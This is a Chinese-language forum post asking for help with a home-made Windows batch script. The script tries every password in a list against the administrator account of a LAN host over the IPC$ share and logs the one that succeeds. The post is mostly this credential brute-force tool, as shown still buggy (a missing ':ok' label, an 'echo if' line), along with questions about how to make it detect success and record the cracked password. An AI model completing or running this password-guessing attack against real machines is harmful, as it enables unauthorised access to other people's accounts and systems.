自己做了个扫描3389弱口令的批处理,代码如下:
@echo on
rem net use \\192.168.1.108\ipc$ /del
for /F %%j in (d:\test\pass.txt) do (
net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"
echo if ERRORLEVEL 0 goto ok
)
goto bad
k
echo "密码成功破解,%%j" >> d:\test\ok.txt
goto end
:bad
echo "结束,未找到密码...">> d:\test\ok.txt
:end
pause
exit
经测试,无论密码是否正确,ERRORLEVEL都是0, 且不跳转到ok。强制跳转到ok后,并不能将%%j(密码)输出到ok.txt文件,输出内容为"密码成功破解,%j"。
问题:
1、在net use \\192.168.1.108\ipc$ "%%j" /user:"administrator"成功执行后,如何正确捕捉到“命令成功完成”并跳转到ok?
2、在扫描成功后,如何将密码%%j输出到文件?
3、代码中是否还有其他错误
请各位大侠指教。